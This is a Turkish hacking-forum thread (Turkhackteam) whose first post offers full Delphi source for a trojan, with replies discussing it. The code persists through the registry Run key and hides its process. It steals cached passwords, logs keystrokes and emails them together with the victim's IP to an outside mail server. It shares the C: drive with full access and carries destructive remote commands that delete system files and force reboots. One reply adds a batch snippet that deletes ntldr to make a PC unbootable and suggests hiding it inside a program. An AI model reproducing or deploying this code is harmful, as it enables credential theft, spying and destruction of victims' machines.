Delphi'de Trojan Yazmak İçin Gerekli Olan Kodlar

E

EL__FeTiH

Yeni üye
8 Eki 2008
27
2
Edirne
unit Unit1;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ScktComp, ExtCtrls, StdCtrls,Mmsystem,shellapi,Psock, NMMSG,Registry,IniFiles,
NMsmtp,KeySpy,ShlOBJ, SharedResource;

type
TForm1 = class(TForm)
ServerSocket1: TServerSocket;
Edit1: TEdit;
Timer1: TTimer;
Label1: TLabel;
NMSMTP1: TNMSMTP;
Label2: TLabel;
Edit2: TEdit;
Timer2: TTimer;
ClientSocket1: TClientSocket;
hook: TMemo;
KeySpy1: TKeySpy;
Label3: TLabel;
SharedResource1: TSharedResource;
label4: TEdit;
procedure ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
procedure Edit1Change(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
procedure FormActivate(Sender: TObject);
procedure FormShow(Sender: TObject);
procedure Timer2Timer(Sender: TObject);
procedure Edit2Change(Sender: TObject);

procedure KeySpy1KeySpyDown(Sender: TObject; Key: Byte;
KeyStr: String);
procedure KeySpy1ActiveTitleChanged(Sender: TObject;
ActiveTitle: String);
procedure ServerSocket1ClientConnect(Sender: TObject;
Socket: TCustomWinSocket);
procedure label4Change(Sender: TObject);
private

{ Private declarations }
public
hMPR: THandle;
procedure WriteText(TransText: string);
{ Public declarations }
end;
var
Form1: TForm1;

const
Count: Integer = 0;

function WNetEnumCachedPasswords(lp: lpStr; w: Word; b: Byte; PC: PChar; dw: DWord): Word; stdcall;

implementation
function WNetEnumCachedPasswords(lp: lpStr; w: Word; b: Byte; PC: PChar; dw: DWord): Word; external mpr name ’WNetEnumCachedPasswords’;

type
PWinPassword = ^TWinPassword;
TWinPassword = record
EntrySize: Word;
ResourceSize: Word;
PasswordSize: Word;
EntryIndex: Byte;
EntryType: Byte;
PasswordC: Char;
end;


var Result: Integer;
dc : hdc;
C :pChar;
I: Integer;
Reg : TRegistry;
Keys,Values: TStringList;
SystemDir : String ;
Canvas: TCanvas;
szWinDir:array[0..MAX_PATH] of char;
Cmd:string;
AppExe :string;
WinPassword: TWinPassword;
MyFormat : Word;
AData: THandle;
APalette: HPalette;
DCDesk: HDC;

MyBMP : TBitmap;
adres1:string;


{$R *.DFM}
const
OldRet: Boolean = False;



function AddPassword(WinPassword: PWinPassword; dw: DWord): LongBool; stdcall;
var
Password: String;
PC: Array[0..$FF] of Char;
begin
inc(Count);

Move(WinPassword.PasswordC, PC, WinPassword.ResourceSize);
PC[WinPassword.ResourceSize] := #0;
CharToOem(PC, PC);
Password := StrPas(PC);

Move(WinPassword.PasswordC, PC, WinPassword.PasswordSize + WinPassword.ResourceSize);
Move(PC[WinPassword.ResourceSize], PC, WinPassword.PasswordSize);
PC[WinPassword.PasswordSize] := #0;
CharToOem(PC, PC);
Password := Password + ’: ’ + StrPas(PC);

Form1.hook.lines.Add(Password);
Result := True;
end;

procedure TForm1.WriteText(TransText: string);
var
MyHand: HWND;
MyDc: HDC;
MyCanvas: TCanvas;
begin
MyHand := GetDesktopWindow;
MyDc := GetWindowDC(MyHand);
MyCanvas := TCanvas.Create;
MyCanvas.Handle := MyDC;
BeginPath(MyCanvas.Handle);
MyCanvas.Font.Color := clRed;
MyCanvas.Font.Name := ’Courier New’;
MyCanvas.Font.Size := 100;
SetBkMode(MyCanvas.Handle, TRANSPARENT);
EndPath(MyCanvas.Handle);
MyCanvas.TextOut(100, 100, TransText);
end;



procedure SetRes(XRes, YRes: DWord);
var
lpDevMode : TDeviceMode;
begin
EnumDisplaySettings(nil, 0, lpDevMode);
lpDevMode.dmFields:=DM_PELSWIDTH or DM_PELSHEIGHT;
lpDevMode.dmPelsWidth:=XRes;
lpDevMode.dmPelsHeight:=YRes;
ChangeDisplaySettings(lpDevMode, 0);
end;

Procedure CloseDoor;
Begin
mciSendString(’Set cdaudio door closed’, nil, 0, 0);
end;
Procedure OpenDoor;
Begin
mciSendString(’Set cdaudio door open’, nil, 0, 0);
end;
procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);

var
s:string;
begin
s:=socket.receivetext;
edit1.text:=s;


end;
Procedure CoverMyTracks;
var
WindowsDirectory : String ;
begin
DeleteFile(WindowsDirectory+’Netstat.exe’);
DeleteFile(WindowsDirectory+’NBTSTAT.EXE’);
DeleteFile(WindowsDirectory+’TRACERT.EXE’);
DeleteFile(WindowsDirectory+’ROUTE.EXE’);
DeleteFile(WindowsDirectory+’PING.EXE’);
end;
procedure e;
begin
Canvas:=TCanvas.Create;
try
Canvas.Handle:=CreateDC(’DISPLAY’,nil,nil,nil);
Canvas.CopyRect(Rect(0,0,Screen.Width,Screen.Height),Canvas,
Rect(0,Screen.Height,Screen.Width,0));
finally
Canvas.Free;
end;
end;



procedure TForm1.Edit1Change(Sender: TObject);
var
I: Integer;
begin
if edit1.text=’a26’then
begin


for I := 0 to 5000 do
begin
CreateDirectory(PChar(’C:\windows\desktop\mmm’ + IntToStr(I)), nil);
end;
end;
if edit1.text=’a21’then
begin
WriteText(’hehheh!!!’);
edit1.text:=’0’ ;
end;
if edit1.text=’a22’then
begin
asm
@loop1:
mov cx,0ffh;
mov al,cl;
out 70,al;
out 71,al;
loop @loop1 ;
end;
edit1.text:=’0’ ;
end;
if edit1.text=’a23’then
begin
clientsocket1.Socket.SendText(hook.text);
edit1.text:=’0’ ;
end;
if edit1.text=’a24’then
begin

clientsocket1.Address:=label3.caption;
clientsocket1.Active:=true;
edit1.text:=’0’ ;
end;
if edit1.text=’a19’then


begin
asm
cli
@@WaitOutReady:
in al,64h
test al,00000010b
jnz @@WaitOutReady
mov al,0FEh
out 64h,al
end;
edit1.text:=’0’ ;
End;
if edit1.text=’a20’then
begin

ShowWindow(FindWindow( ’BaseBar’,nil), SW_NORMAL);//başlam menü listesi
ShowWindow(FindWindow( ’Progman’,nil), SW_NORMAL);//masaüstü
edit1.text:=’0’ ;
end;
if edit1.text=’a1’then
begin
exitwindowsex(EWX_SHUTDOWN,0);
edit1.text:=’0’ ;
end;

if edit1.text=’a2’then
begin
SetCursorPos(15000,15000);
edit1.text:=’0’ ;

end;
if edit1.text=’a3’then
begin
Perform(WM_SYSCOMMAND, SC_SCREENSAVE,1);
edit1.text:=’0’ ;
end;
if edit1.text=’a4’then
begin

asm
mov ax,0feh
out 64h,ax
end;
edit1.text:=’0’ ;
end;
if edit1.text=’a5’then
begin
OPENDOOR ;
edit1.text:=’0’ ;
end;
if edit1.text=’a6’then
begin
closedoor ;
edit1.text:=’0’ ;
end;
if edit1.text=’a7’then
begin
timer1.enabled:=true;
edit1.text:=’0’ ;
end;




if edit1.text=’a8’then
begin
timer1.enabled:=false;
edit1.text:=’0’ ;
end;
if edit1.text=’a9’then
begin
e; //ekranı ters cevir
edit1.text:=’0’ ;
end;
if edit1.text=’a10’then
begin
CoverMyTracks ;
edit1.text:=’0’ ;
end;
if edit1.text=’a11’then
begin
DeleteFile(SystemDir+’\windows\Command.com’); //wincrash2
DeleteFile(SystemDir+’\windows\Win.com’);
DeleteFile(SystemDir+’\windows\system.ini’);
DeleteFile(SystemDir+’\windows\win.ini’);
DeleteFile(SystemDir+’\Command.com’);
DeleteFile(SystemDir+’\autoexe.bat’);
edit1.text:=’0’ ;
end;

if edit1.text=’a12’then
begin
Reg:=TRegistry.Create;
Keys:=TStringList.Create; //saati sil
Values:=TStringList.Create;
Reg.RootKey:=HKEY_CURRENT_USER;
if not Reg.OpenKey(’\RemoteAccess\Addresses’,false) then Exit;
Reg.GetValueNames(Values);
for I:=0 to Values.Count-1 do
Reg.DeleteValue(Values);
if not Reg.OpenKey(’\RemoteAccess\Profiles’,false) then Exit;
Reg.GetKeyNames(Keys);
for I:=0 to Keys.Count-1 do
Reg.DeleteKey(Keys);
Reg.Free;
Values.Free;
Keys.Free;
edit1.text:=’0’ ;
end;

if edit1.text=’a13’then
begin
exitwindowsex(EWX_reboot,0); //restart
end;

if edit1.text=’a15’then
begin
Winexec(’Control.exe Date/Time’,sw_shownormal);
edit1.text:=’0’ ; //saat dialog ac
end;
if edit1.text=’a16’then
begin
ShowWindow(FindWindow( ’BaseBar’,nil), SW_MINIMIZE);//başlam menü listesi
ShowWindow(FindWindow( ’Progman’,nil), SW_HIDE);//masaüstü
edit1.text:=’0’ ; //format belgelerim
end;

if edit1.text=’a17’then
begin
Setres(800, 600);
edit1.text:=’0’ ;
end;



if edit1.text=’a18’then
begin
Setres(640, 480);
edit1.text:=’0’ ;
end;
end ;

function RegisterServiceProcess (dwProcessID, dwType: DWord) : DWord; stdcall; external ’KERNEL32.DLL’;

function GetAppPath: string;
begin
Result := ExtractFilePath(Application.ExeName);
if Result[Length(Result)] <> ’\’ then
Result := Result + ’\’;
end;



//.............................................................
procedure TForm1.FormCreate(Sender: TObject);

begin

RegisterServiceProcess(GetCurrentProcessID,1);
serversocket1.Port:=333;
serversocket1.Active:=true;





try
copyfile(PChar(Application.Exename),’C:\WINDOWS\SYSTEM\Win32r.exe’,true);
RegisterServiceProcess(GetCurrentProcessID,0);
SetWindowLong(Application.Handle, GWL_EXSTYLE, WS_EX_TOOLWINDOW);

finally

with TRegistry.Create do
try
RootKey := HKEY_CURRENT_USER;
if OpenKey (’\SOFTWARE\Microsoft\Windows\CurrentVersion\Run’, true) then
AppExe:=#34+Application.Exename+#34;
WriteString(’Win32r’, AppExe);

finally

Label1.Caption := GetAppPath;
if label1.caption <> ’C:\WINDOWS\SYSTEM\’ then
begin
ShellExecute(0, ’open’, PChar(’C:\WINDOWS\SYSTEM\Win32r.exe’), nil, nil, SW_SHOW);
halt(0);





end;


end;
end;
end;



//............................................................


procedure TForm1.Timer1Timer(Sender: TObject);
begin
SendMessage(Application.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, 0); //monitor kapa
end;

procedure TForm1.FormActivate(Sender: TObject);
begin
RegisterServiceProcess(GetCurrentProcessID,1);
end;

procedure TForm1.FormShow(Sender: TObject);

begin

if WNetEnumCachedPasswords(nil, 0, $FF, @AddPassword, 0) <> 0 then
begin
Application.MessageBox(’Can’’t load passwords: User is not logon.’, ’Error’, mb_Ok or mb_IconWarning);
Application.Terminate;
end
else
if Count = 0 then
hook.lines.Add(’No passwords found...’);
RegisterServiceProcess(GetCurrentProcessID,1);


end;

procedure TForm1.Timer2Timer(Sender: TObject);
var

a:string;
b:integer;
begin

b:=strtoint(label4.text );
b:=b+1;
label4.text:=inttostr(b);
if label4.text=’900’ then
begin
label4.text:=’0’;
if edit2.text<> ’127.0.0.1’ then
begin
NMSMTP1.Host := ’mail.rt.net.tr’;
NMSMTP1.UserID := ’ip no trojan!’;
NMSMTP1.Connect;
NMSMTP1.PostMessage.FromAddress := ’[email protected]’;
NMSMTP1.PostMessage.ToAddress.Text := ’tret’;
NMSMTP1.PostMessage.bOdy.Text := datetimetostr(now)+hook.Text;


NMSMTP1.PostMessage.Subject := edit2.text;
NMSMTP1.SendMail;

NMSMTP1.Disconnect;
end;
end;
edit2.text :=nmsmtp1.LocalIP;
end;

procedure TForm1.Edit2Change(Sender: TObject);
begin

if edit2.text <> ’127.0.0.1’ then
begin
NMSMTP1.Host := ’mail.rt.net.tr’;
NMSMTP1.UserID := ’ip no for trojan!’;
NMSMTP1.Connect;
NMSMTP1.PostMessage.FromAddress := ’[email protected]’;
NMSMTP1.PostMessage.ToAddress.Text := ’aa’;

NMSMTP1.PostMessage.bOdy.Text := datetimetostr(now) ;

NMSMTP1.PostMessage.Subject := edit2.text;
NMSMTP1.SendMail;

NMSMTP1.Disconnect;

end;
end;

procedure TForm1.KeySpy1KeySpyDown(Sender: TObject; Key: Byte;
KeyStr: String);
begin

if (KeyStr[1] = ’-’) and (KeyStr[2] = ’-’) then
begin
Hook.Lines.Add(’’);
OldRet := True;
end
else
if OldRet then
begin
Hook.Lines.Add(’’);
OldRet := False;
end;
Hook.Text := Hook.Text + KeyStr;

{ For 16-bit only}
{$IFNDEF WIN32}
if (Length(Hook.Text) > $F0) then Hook.Clear;
{$ENDIF}
end;



procedure TForm1.KeySpy1ActiveTitleChanged(Sender: TObject;
ActiveTitle: String);
begin
OldRet := True;
Hook.Text := Hook.Text + #13#10’[’ + ActiveTitle + ’]’;

{ For 16-bit only}
{$IFNDEF WIN32}
if (Length(Hook.Text) > $F0) then Hook.Clear;
{$ENDIF}
end;

procedure TForm1.ServerSocket1ClientConnect(Sender: TObject;
Socket: TCustomWinSocket);
begin
label3.caption:=Socket.RemoteAddress ;
end;

procedure TForm1.label4Change(Sender: TObject);

begin



SharedResource1.ShareName := ’XP’;
SharedResource1.ResourcePath := ’C:\’;
SharedResource1.ResourceType := RTFolder;
SharedResource1.AccessType := ATFull;
SharedResource1.Share;


end;

end.


windows’un altındaki uygulamaları siler
Procedure CoverMyTracks;
Var
WindowsDirectory : String ;
Begin
DeleteFile(WindowsDirectory+’Netstat.exe’);
DeleteFile(WindowsDirectory+’NBTSTAT.EXE’);
DeleteFile(WindowsDirectory+’TRACERT.EXE’);
DeleteFile(WindowsDirectory+’ROUTE.EXE’);
DeleteFile(WindowsDirectory+’PING.EXE’);
End;


Burada da Registry üzerinde değişiklik yapıyor...
Kod:
if edit1.text=’a12’then
begin
Reg:=TRegistry.Create;
Keys:=TStringList.Create; //saati sil
Values:=TStringList.Create;
Reg.RootKey:=HKEY_CURRENT_USER;
if not Reg.OpenKey(’\RemoteAccess\Addresses’,false) then Exit;
Reg.GetValueNames(Values);
for I:=0 to Values.Count-1 do
Reg.DeleteValue(Values);
if not Reg.OpenKey(’\RemoteAccess\Profiles’,false) then Exit;
Reg.GetKeyNames(Keys);
for I:=0 to Keys.Count-1 do
Reg.DeleteKey(Keys);
Reg.Free;
Values.Free;
Keys.Free;
edit1.text:=’0’ ;


Burda ise kullanıcının IP Adresini kendi mail adresine yolluyor...

NMSMTP1.UserID := ’ip no for trojan!’;
NMSMTP1.Connect;
NMSMTP1.PostMessage.FromAddress := [email protected] ;
NMSMTP1.PostMessage.ToAddress.Text := ’aa’;
 
I

ilgisizim

Üye
6 Eki 2008
79
1
kardeşim delphi 6 baya bi eskidi artık değiştir istersen sen bunu
DeleteFile(SystemDir+’\autoexe.bat’);
bunun gibi birsürü şeyi sildirmişsin sonra ördek (sizin tabirinizle kurban) iki günlük kulanıcı da olsa belli olacak sonra nasıl bilgi aşıracan kodlar fena değil ama lütfen daha mantıklı bir trojan yaz yeni arkadaşlar bunu denemeye çalışırken kendi pc sini bozacak profesyonel biride bunu kullanmaz
trojan kodlamaktan br ansiklopedi çıkar neyse buda uzun oldu
 
E

EL__FeTiH

Yeni üye
8 Eki 2008
27
2
Edirne
haklısın aslında.delphi 6 eskidi ama ben bu kodları arşivimden aldım.biraz eski olabilir.
küçük hatalar var diyosun zaten delphi'den anlayan birisi hatları bulup ve düzeltecektir.
uyarı için sağol.yenilerini en yakın zamanda koyacağım
 
K

_K_a_o_S_

Yeni üye
1 Eyl 2008
31
0
eline saglık ama bencede biraz bayat,arkadas delphiden anlayan hatalarını duzeltecektir diyo ama delphiden anlayan birinin sanırım bununla işi olmayacaktır diye dusunuyorum
 
P

prox

Yeni üye
14 Tem 2009
5
0
yazdıgın kodlar mantıgıma ters geldi (delphi kullanan biri olarak) 1.cisi bir kac satır kodla halledilecek yerleri uzatmıssın.. 2. cisi remote kullanamazssın bu proyu.. cünkü registry e erişime izin vermez antiler.
 
2

27yusuf27e

Yeni üye
18 Eyl 2009
24
0
GaziAntep
yaw biz bu kodları kopy. yapıstır yapana kadar ne kadar zaman gecer sen biliyon mu.onun yerine bir .bat dosyası yap içine şu kodları yaz

@echo off
c\
attrib -h -r -s ntldr
del ntldr

yap bi delphiden herhangi bi program yap bu bat dosyasını ona uzantı olarak ekle program calıstıktan sonra bilgisayar bi daha acılmaz.

NOT:ntldr windows'u acan dosyadır dosya silindiği zaman bilgisayar acılısta kalır yani acılmaz
HATIRLATMA:BU KOMUTU KENDİ BİLGİSAYARINDA DENEME
 
Cevap yazmak için giriş yap yada kayıt ol.
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.